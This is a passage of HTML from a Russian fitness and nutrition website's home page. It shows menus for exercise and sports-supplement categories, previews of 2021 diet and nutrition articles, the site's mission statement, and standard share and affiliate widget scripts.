	<li id="menu-item-6744" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6744"><a href="https://proteinfo.ru/voprosy-pitaniya/pitatelnye-elementy/">Питательные элементы</a></li>
	<li id="menu-item-6745" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6745"><a href="https://proteinfo.ru/voprosy-pitaniya/poxudenie/">Похудение</a></li>
	<li id="menu-item-6746" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6746"><a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/">Продукты и состав</a></li>
</ul>
</li>
<li id="menu-item-13792" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-13792"><a href="https://proteinfo.ru/krasota-i-zdorovie/">Красота и здоровье</a></li>
<li id="menu-item-13817" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-13817"><a href="https://proteinfo.ru/zozh/">ЗОЖ</a></li>
<li id="menu-item-13818" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-13818"><a href="https://proteinfo.ru/programma-szhigania-zhira/">Программа сжигания жира</a></li>
<li id="menu-item-1613" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-1613"><a title="База знаний" rel="nofollow" href="https://proteinfo.ru/baza-znanij/">Спортпит</a>
<ul class="sub-menu">
	<li id="menu-item-1614" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1614"><a title="Аминокислоты" rel="nofollow" href="https://proteinfo.ru/baza-znanij/aminokisloty/">Аминокислоты</a></li>
	<li id="menu-item-1615" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1615"><a title="ВСАА" rel="nofollow" href="https://proteinfo.ru/baza-znanij/vsaa/">ВСАА</a></li>
	<li id="menu-item-1616" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1616"><a title="Гейнер" rel="nofollow" href="https://proteinfo.ru/baza-znanij/gejner/">Гейнер</a></li>
	<li id="menu-item-1617" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1617"><a title="Глютамин" rel="nofollow" href="https://proteinfo.ru/baza-znanij/glyutamin/">Глютамин</a></li>
	<li id="menu-item-1618" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1618"><a title="Жиросжигатели" rel="nofollow" href="https://proteinfo.ru/baza-znanij/zhiroszhigateli/">Жиросжигатели</a></li>
	<li id="menu-item-1619" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1619"><a title="Креатин" rel="nofollow" href="https://proteinfo.ru/baza-znanij/kreatin/">Креатин</a></li>
	<li id="menu-item-1620" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1620"><a title="Оздоровление" rel="nofollow" href="https://proteinfo.ru/baza-znanij/ozdorovlenie/">Оздоровление</a></li>
	<li id="menu-item-6308" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6308"><a href="https://proteinfo.ru/povyshenie-testosterona/">Повышение тестостерона</a></li>
	<li id="menu-item-1621" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1621"><a title="Протеин" rel="nofollow" href="https://proteinfo.ru/baza-znanij/protein/">Протеин</a></li>
	<li id="menu-item-2050" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-2050"><a title="Предтрены" rel="nofollow" href="https://proteinfo.ru/baza-znanij/predtreny/">Предтрены</a></li>
	<li id="menu-item-1622" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1622"><a title="Спорт. батончики" rel="nofollow" href="https://proteinfo.ru/baza-znanij/sport_batonchik/">Спорт. батончики</a></li>
	<li id="menu-item-1623" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1623"><a title="Тестобустеры" rel="nofollow" href="https://proteinfo.ru/baza-znanij/testobustery/">Тестобустеры</a></li>
	<li id="menu-item-1624" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1624"><a title="Энергетики" rel="nofollow" href="https://proteinfo.ru/baza-znanij/energetiki-i-predtreny/">Энергетики</a></li>
</ul>
</li>
<li id="menu-item-5157" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5157"><a rel="nofollow" href="https://proteinfo.ru/anatomiya/">Анатомия</a></li>
<li id="menu-item-5955" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5955"><a href="https://proteinfo.ru/slovar-terminov/">Словарь терминов</a></li>
<li id="menu-item-4049" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-4049"><a title="Калькулятор калорийности продуктов" rel="nofollow" href="https://proteinfo.ru/kalkulyator/">Калоризатор</a></li>
</ul>													</nav>
					</div>
				</div>
			</div><div id="middle">
	<div class="container_page_wrap2">
		<div class="row">
			<div class="col-xs-12 col-sm-12 col-md-99 col-lg-99">
				<div id="container2">
					<div id="content">
					
					<div class="block_block_4">
							<div class="block_title">
								Упражнения
							</div>
							<div class="block_content">
								<div class="row content-block-fr">								<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/v-domashnix-usloviyax/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kak-nauchitsya-saditsya-na-shpagat3-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													В домашних условиях													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/v-domashnix-usloviyax/">
											<div class="center">В домашних условиях</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kak-nauchitsya-saditsya-na-shpagat3-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/grud/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/ZHim-na-naklonnoy-skame3-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Грудь													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/grud/">
											<div class="center">Грудь</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/ZHim-na-naklonnoy-skame3-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/na-trenazhyorax/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kachalka-dlya-nachinaushih3-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													На тренажёрах													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/na-trenazhyorax/">
											<div class="center">На тренажёрах</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kachalka-dlya-nachinaushih3-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/nogi/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/nakachat-nogi2-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Ноги													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/nogi/">
											<div class="center">Ноги</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/nakachat-nogi2-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
								</div><div class="row content-block-fr">								<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/plechi/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/rashirit-plechi2-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Плечи													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/plechi/">
											<div class="center">Плечи</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/rashirit-plechi2-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/press-i-kosye/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kosye-myshci4-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Пресс и косые													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/press-i-kosye/">
											<div class="center">Пресс и косые</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/kosye-myshci4-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/ruki/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/nakachat_biceps_5-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Руки													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/ruki/">
											<div class="center">Руки</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/nakachat_biceps_5-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<!--<a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/so-svobodnym-vesom/">
											<div class="photo">
												<img src="https://proteinfo.ru/wp-content/uploads/2016/06/crossfit-programma5-901x416-1.jpg" alt=""/>
												<div class="title">
													<span>
													Со свободным весом													</span>
												</div>
											</div>
											
										</a>-->
										<a class="cover" href="https://proteinfo.ru/uprazhneniya-i-trenirovki/so-svobodnym-vesom/">
											<div class="center">Со свободным весом</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/crossfit-programma5-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
								</div>							</div>
						</div>
										
					<div class="block_block_4">
							<div class="block_title">
								Здоровое питание
							</div>
							<div class="rubriki_pitanie">
							<a href="/voprosy-pitaniya/diety">Диеты</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/voprosy-pitaniya/osnovy-pitaniya">Основы питания</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/voprosy-pitaniya/pitatelnye-elementy">Питательные элементы</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/voprosy-pitaniya/poxudenie">Похудение</a>&nbsp;&nbsp;&nbsp;&nbsp;<a href="/voprosy-pitaniya/produkty-i-sostav">Продукты и состав</a>
							</div>
							<div class="block_content">
							<div class="page_rubrics_content2">
							
									
	<div class='row-0 row'>
	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/07/1554232192_sahar-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/12-prichin-pochemu-sahar-nanosit-vred-organizmu/">12 причин, почему сахар наносит вред организму</a>
			</div>
			<div class="post_date2">8 июля 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/" title="Продукты и состав">Продукты и состав</a> </div>
			
			
			<div class="body_row2">
				Одна из полезных привычек, которая поможет правильно составлять свой рацион, – это чтение этикеток. Списки составляющих на продуктах – хороший способ выявить сахар, так как закон требует, чтобы на продуктах ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/07/GMO-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/v-chem-vred-gmo-produktov-i-est-li-ot-nih-polza/">В чем вред ГМО-продуктов и есть ли от них польза?</a>
			</div>
			<div class="post_date2">6 июля 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/" title="Продукты и состав">Продукты и состав</a> </div>
			
			
			<div class="body_row2">
				На текущий момент практически все люди уверены в негативном влиянии генномодифицированных продуктов на организм человека. Однако никто в сущности не может сказать, чем все-таки они так опасны. В данной статье ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/07/plato-1-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/kak-hudet-dalshe-pri-dostizhenii-effekta-plato/">Как худеть дальше при достижении эффекта плато?</a>
			</div>
			<div class="post_date2">2 июля 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/" title="Основы питания">Основы питания</a> </div>
			
			
			<div class="body_row2">
				Постоянное увеличение тренировок и урезание рациона – не лучший метод. Это может спровоцировать эффект плато, когда вес замирает на одной точке и ни в какую не хочет снижаться дальше. Что ...			</div>
			
		</div>
	</div>
</div><div class='row-1 row'>
	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/06/CHem-opasny-diety-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/diety/chem-opasny-samye-populyarnye-diety/">Чем опасны самые популярные диеты?</a>
			</div>
			<div class="post_date2">11 июня 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/diety/" title="Диеты">Диеты</a> </div>
			
			
			<div class="body_row2">
				На данный момент существует множество диет, которые не всегда оказывают позитивное воздействие. В этой статье мы рассмотрим самые популярные из них, которые пользуются большим спросом. Также выявим вред диет, чтобы ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/06/Mify-o-pitanii-1-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/razvenchanie-mifov-o-pravilnom-pitanii/">Развенчание мифов о правильном питании</a>
			</div>
			<div class="post_date2">11 июня 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/" title="Основы питания">Основы питания</a> </div>
			
			
			<div class="body_row2">
				На сегодняшний день здоровый образ жизни стал не только полезным и распространенным, но и модным. Мода на красивое тело, накаченные мышцы, здоровый внешний вид все больше распространяется по всему миру. ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/06/Defitsit-belkov-1-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/pitatelnye-elementy/pochemu-nelzya-dopuskat-defitsita-belkov-pri-pohudenii/">Почему нельзя допускать дефицита белков при похудении?</a>
			</div>
			<div class="post_date2">11 июня 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/krasota-i-zdorovie/" title="Красота и здоровье">Красота и здоровье</a> <a href="https://proteinfo.ru/voprosy-pitaniya/pitatelnye-elementy/" title="Питательные элементы">Питательные элементы</a> </div>
			
			
			<div class="body_row2">
				Любая диета для похудения предполагает уменьшение калорийности рациона. Однако стремление быстро скинуть лишний вес часто оборачивается проблемами со здоровьем из-за недостатка питательных веществ. В частности, многие диеты для уменьшения количества ...			</div>
			
		</div>
	</div>
</div><div class='row-2 row'>
	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/06/Kak-perestat-pereedat-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/kak-sohranit-figuru-i-perestat-pereedat-v-prazdniki/">Как сохранить фигуру и перестать переедать в праздники?</a>
			</div>
			<div class="post_date2">11 июня 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/" title="Основы питания">Основы питания</a> </div>
			
			
			<div class="body_row2">
				Если в обычные дни человек еще может контролировать свой рацион, то в праздники отказаться от лишнего кусочка часто не удается даже людям с железной силой воли. Когда большую часть времени ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/05/Kategorii-produktov-pitaniya-1-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/6-glavnyh-kategorij-produktov-pitaniya/">6 главных категорий продуктов питания</a>
			</div>
			<div class="post_date2">28 мая 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/" title="Продукты и состав">Продукты и состав</a> </div>
			
			
			<div class="body_row2">
				Большинство диетологов выделяют только 4 категории продуктов питания: Хлеб и зерновые. Масло. Мясо. Фрукты и овощи. Поскольку у разных типов углеводов могут быть совсем разные свойства, то необходимо их разделить ...			</div>
			
		</div>
	</div>

	<div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
		<div class="rubrick-post-block">
			<div class="photo2">
				<img src="https://proteinfo.ru/wp-content/uploads/2021/05/Vyhod-iz-diety-1-419x195.jpg" alt=""/>
			</div>
			<div class="title2">
				<a href="https://proteinfo.ru/voprosy-pitaniya/diety/chto-nuzhno-znat-o-vyhode-iz-diety/">Что нужно знать о выходе из диеты</a>
			</div>
			<div class="post_date2">28 мая 2021</div>
			<div class="rubrisc-type2"><a href="https://proteinfo.ru/voprosy-pitaniya/diety/" title="Диеты">Диеты</a> </div>
			
			
			<div class="body_row2">
				Важным моментом после похудения является выход из диеты и переход на нормальный режим питания. Именно в этот период многие девушки срываются и начинают поглощать удвоенную норму калорий, в итоге вес ...			</div>
			
		</div>
	</div>
</div></div>										</div>
						
							</div>
							<div class="knopka-kalorizator"><a href="/kalkulyator" onclick="yaCounter36932795.reachGoal('cal-main'); return true;">Калькулятор калорий</div></a>
					</div>
	
						<div class="block_block_4">
							<div class="block_title">
								Спортивное питание
							</div>
							<div class="block_content">
								<div class="row content-block-fr">								<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/aminokisloty/">
											<div class="center">Аминокислоты</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/aminokislot-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/vsaa/">
											<div class="center">ВСАА</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/bcaa-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/gejner/">
											<div class="center">Гейнер</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/geiner-vred88-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/glyutamin/">
											<div class="center">Глютамин</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/priem-glutamin1-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
								</div><div class="row content-block-fr">								<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/zhiroszhigateli/">
											<div class="center">Жиросжигатели</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/fitness-girl-in-gym-hd-wallpaper-1-e1508412140831.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/kreatin/">
											<div class="center">Креатин</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/creatine-naznachenie4-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/ozdorovlenie/">
											<div class="center">Оздоровление</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/vitaminy-apteka1-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/predtreny/">
											<div class="center">Предтрены</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/no-xplode2-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
								</div><div class="row content-block-fr">								<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/protein/">
											<div class="center">Протеин</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/protein-posle-trenirovki99-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/sport_batonchik/">
											<div class="center">Спорт. батончики</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/batonchiki4-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/testobustery/">
											<div class="center">Тестобустеры</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/bustery2-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
																<div class="col-xs-12 col-sm-6 col-md-6 col-lg-3 pseudometro">
									<div class="block-fr">
										<a class="cover" href="https://proteinfo.ru/baza-znanij/energetiki-i-predtreny/">
											<div class="center">Энергетики</div>
											<div class="center_helper"></div>
										</a>
										<div class="img_crop clearfix">
											<img src="https://proteinfo.ru/wp-content/uploads/2016/06/nabor-massi-dlea-devuwek5-901x416-1.jpg" alt=""/>
										</div>
									</div>
								</div>
								</div>							</div>
						</div>
						<div class="block_block_5">
																					<div class="block_title">
								О сайте							</div>
							<div class="block_content">
								<index><div class="flat_pm_start"></div>
<p>Не всегда нужно следовать инструкциям на этикетках. Эту истину на собственном опыте поняли многие начинающие атлеты, когда доверились рекомендациям производителей спортивного питания.</p>
<p>Не каждая голодная диета – хорошая диета. И не всегда потерянные килограммы порадуют вас отражением в закале, не говоря уже о самочувствии и последствиях.</p>
<p>И уж, конечно, не любая тренировочная программа из глянцевого журнала сделает вас похожим на моделей на его обложке. Может случиться, как в той песенке: &#171;Мышцы качал, обливался водой – в гробу он лежал, как Арнольд молодой&#187;.</p>
<h3>Миссия проекта</h3>
<p>ПротеINFO.ru не допустит этого! Каждую новомодную диету, каждый супер-мега-гипер гейнер и каждую &#171;взрывную методику роста мышц&#187; мы рассмотрим под микроскопом. Поверьте, у нас есть знания для отделения зерен от плевел.</p>
<p>Откуда? Да просто мы сами активно занимаемся спортом, изучаем диетологию, физиологию и еще много других &#171;логий&#187;, помогающих становится быстрее, выше, сильнее и здоровее! Материалы на ПротеINFO.ru написаны не рерайтерами, с одинаковым успехом пишущих о характеристиках стального швеллера и жизни глубоководных моллюсков. Мы рассказывает только то, что знаем сами, поэтому это получается у нас отлично.</p>
<h3>Контроль над контроллерами</h3>
<p>Но ведь людям свойственно преувеличивать свои способности. Поэтому даже законченный халтурщик уверен в безупречности выполненной им работы. Вот почему каждый материал на ПротеINFO.ru проходит проверку качества перед публикацией.</p>
<p>В роли “пробирочной палаты” выступает фитнес-тренер, не терпящий халтуры не только в спортзале, но и за его пределами! А он-то точно знает, когда человеку принесут пользу спортивные добавки и тренировки, а когда сэкономленные на них деньги гораздо выгоднее и полезнее потратить на простой творог и свежие овощи.</p>
<h3>Мы сделаем из вас эксперта!</h3>
<p>У вас больше не будет нужды верить маркетологам производителей спортпита. Составители сумасбродных диет никогда не подвергнут ваше здоровье опасности. А упражнения в спортзале будут давать результат, а не только отнимать силы.</p>
<p>Одним словом, с нами вы добьетесь того, чего всегда хотели – будете прекрасно выглядеть и великолепно себя чувствовать!</p>
<p><script src="//yastatic.net/es5-shims/0.0.2/es5-shims.min.js"></script><br />
<script src="//yastatic.net/share2/share.js"></script></p>
<div class="ya-share2" data-services="collections,vkontakte,facebook,odnoklassniki,viber,whatsapp,skype,telegram" data-counter=""></div>
<div class="flat_pm_end"></div>
</index>							</div>
																				</div>
						
					</div>
				</div>
			</div>
			
		</div>
	</div>
</div>
<!--<script async src="https://aflt.market.yandex.ru/widget/script/api" type="text/javascript"></script>
<script type="text/javascript">
(function($) {
// Блоки яндекс маркета
(function (w) {
	function start() {
		w.removeEventListener("YaMarketAffiliateLoad", start);
		 for (var i = 1; i < 10; i++) 
		 if($('#marketWidget'+i).length>0)
			w.YaMarketAffiliate.createWidget({containerId: 'marketWidget'+i,type: 'offers',params: {clid: 2357953,themeId: 10,searchSelector: '#marketWidget'+i+'>s',sovetnikPromo:false,searchMatch:"exact",searchCount: 4,vid: 1}});
	}
	w.YaMarketAffiliate? start(): w.addEventListener("YaMarketAffiliateLoad", start);
})(window);
})(jQuery)
</script> -->


<div id="footer" class="container"><div id="close"></div>
		<div class="footer_center">
			<div class="row">
			<!--noindex-->
				<div class="col-xs-12 col-sm-3 col-md-3 col-lg-3">
					<div class="logo_footer">
						<img src="/wp-content/themes/proteinfo/images/logo_footer.png" alt="Proteinfo">					</div>    
				</div> 
			<!--/noindex-->	
				<div class="col-xs-12 col-sm-8 col-md-8 col-lg-9">
					<div class="block_block_13">
						<!--noindex-->
							<ul id="menu-nizhnee-menyu" class=""><li id="menu-item-2006" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2006"><a title="Для рекламодателей" rel="nofollow" href="https://proteinfo.ru/reklama-na-sajte/">Реклама</a></li>
<li id="menu-item-2007" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2007"><a title="Для связи с нами" rel="nofollow" href="https://proteinfo.ru/kontakty/">Контакты</a></li>
<li id="menu-item-6748" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-6748"><a href="https://proteinfo.ru/karta-sajta/">Карта сайта</a></li>
<li id="menu-item-6747" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-6747"><a href="https://proteinfo.ru/o-proekte/">О проекте</a></li>
</ul>						<!--/noindex-->	
						
					</div>
				</div> 
				<div class="footer-info">
				<p>&copy; 2014-2021 Интернет-журнал о здоровом питании и бодибилдинге.<br />Копирование материалов разрешено только с указанием активной<br />гиперссылки на источник.</p>
				</div>
				<div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
					<div class="counter">
<!--noindex-->
